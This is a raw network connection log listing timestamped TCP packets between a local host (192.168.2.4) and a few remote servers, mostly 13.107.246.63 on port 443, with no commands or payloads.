Dec 3, 2024 17:54:49.098043919 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.101409912 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.101433992 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.101516008 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.101516962 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.101577997 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.101619005 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.101696014 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.101706028 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.101851940 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.101864100 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.101875067 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.101880074 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.104583979 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.104604006 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.104669094 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.104824066 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.104834080 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.262702942 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.262753010 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.262803078 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.263035059 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.263041019 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.263051987 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.263056040 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.266541004 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.266556978 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.266647100 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.266828060 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.266843081 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.448174000 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.448879004 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.448887110 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.449542046 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.449546099 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.883712053 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.883759975 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.883811951 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.884084940 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.884094954 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.884104013 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.884108067 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.888972998 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.889014959 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:49.889096022 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.889280081 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:49.889292955 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:50.963017941 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:50.963728905 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:50.963773966 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:50.964365005 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:50.964370012 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:50.970634937 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:50.971195936 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:50.971204042 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:50.971781969 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:50.971786022 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.052160025 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.052881956 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.052905083 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.053544998 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.053549051 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.163343906 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.165115118 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.165139914 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.166615009 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.166620016 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.431453943 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.431531906 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.431653023 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.431977034 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.432004929 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.432013988 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.432020903 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.436007977 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.436053991 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.436166048 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.436391115 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.436403990 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.440567017 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.440613985 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.440670967 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.440882921 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.440888882 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.440898895 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.440903902 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.444010973 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.444042921 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.444128990 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.444344997 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.444356918 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.508707047 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.508764982 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.508879900 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.509179115 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.509192944 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.509202957 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.509210110 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.512878895 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.512908936 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.513044119 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.513259888 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.513276100 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.611242056 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.611284018 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.611434937 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.611711025 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.611721039 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.611757994 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.611762047 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.615731001 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.615744114 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.615856886 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.616064072 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.616075993 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.650779009 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.651309967 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.651328087 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:51.651941061 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:51.651947021 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:52.096721888 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:52.096772909 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:52.096832037 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:52.097119093 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:52.097134113 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:52.097143888 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:52.097151041 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:52.100974083 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:52.100990057 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:52.101075888 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:52.101499081 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:52.101511002 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.314721107 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.315395117 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.315418005 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.316046000 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.316059113 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.325798035 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.326209068 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.326237917 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.326756954 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.326761961 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.348619938 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.348998070 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.349013090 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.349548101 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.349551916 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.374994040 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.375365019 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.375397921 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.375982046 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.375986099 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.784065962 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.784132004 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.784195900 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.784452915 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.784467936 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.784477949 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.784483910 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.787925959 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.787985086 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.788039923 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.788149118 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.788152933 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.788162947 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.788167000 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.788163900 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.788260937 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.788341999 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.788522959 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.788537979 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.788969994 CET	49724	80	192.168.2.4	199.232.210.172
Dec 3, 2024 17:54:53.790766954 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.790872097 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.790936947 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.791066885 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.791119099 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.799583912 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.799654961 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.799705029 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.799782038 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.799799919 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.799813032 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.799818993 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.802443981 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.802479029 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.802556038 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.802661896 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.802689075 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.832737923 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.832803965 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.832915068 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.833066940 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.833084106 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.833097935 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.833102942 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.835418940 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.835462093 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.835562944 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.835773945 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.835799932 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.909579992 CET	80	49724	199.232.210.172	192.168.2.4
Dec 3, 2024 17:54:53.909646988 CET	49724	80	192.168.2.4	199.232.210.172
Dec 3, 2024 17:54:53.974579096 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.988254070 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.988266945 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:53.988763094 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:53.988768101 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:54.453071117 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:54.453119040 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:54.453181028 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:54.453464985 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:54.453475952 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:54.453486919 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:54.453490973 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:54.456897974 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:54.456912994 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:54.457005978 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:54.457206964 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:54.457217932 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:54.571038008 CET	49809	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:54:54.571067095 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:54.571161032 CET	49809	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:54:54.571379900 CET	49809	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:54:54.571393967 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:55.589234114 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.589989901 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:55.590008974 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.591397047 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:55.591401100 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.634562969 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.635432005 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:55.635458946 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.635832071 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:55.635837078 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.663585901 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.663912058 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:55.663921118 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.664267063 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:55.664272070 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.738580942 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.739227057 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:55.739243984 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:55.740564108 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:55.740569115 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.035621881 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.035662889 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.035716057 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.037261009 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.037271023 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.037298918 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.037303925 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.047378063 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.047408104 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.047480106 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.047657013 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.047668934 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.117736101 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.117816925 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.117923021 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.118123055 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.118128061 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.118160009 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.118164062 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.122294903 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.122319937 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.122400999 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.122544050 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.122559071 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.231380939 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.231425047 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.231471062 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.231647015 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.231647015 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.231662989 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.231673002 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.233510017 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.233562946 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.233607054 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.233724117 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.233727932 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.233753920 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.233758926 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.234529972 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.234555006 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.234613895 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.234787941 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.234800100 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.235980988 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.235997915 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.236061096 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.236175060 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.236186981 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.353519917 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.353948116 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.353967905 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.354480982 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.354485989 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.366090059 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:56.366393089 CET	49809	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:54:56.366413116 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:56.366700888 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:56.367388964 CET	49809	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:54:56.367440939 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:54:56.413872004 CET	49809	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:54:56.797919989 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.797969103 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.798115969 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.798576117 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.798588991 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.798599958 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.798604965 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.802088022 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.802129984 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:56.802222967 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.802398920 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:56.802412033 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:57.952549934 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:57.953167915 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:57.953202009 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:57.953668118 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:57.953676939 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:57.970967054 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:57.971292019 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:57.971370935 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:57.971677065 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:57.971693993 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.083156109 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.095383883 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.095418930 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.095932961 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.095938921 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.156291008 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.156802893 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.156831980 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.157238960 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.157243967 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.390809059 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.390877962 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.390963078 CET	49811	443	192.168.2.4	13.107.246.63
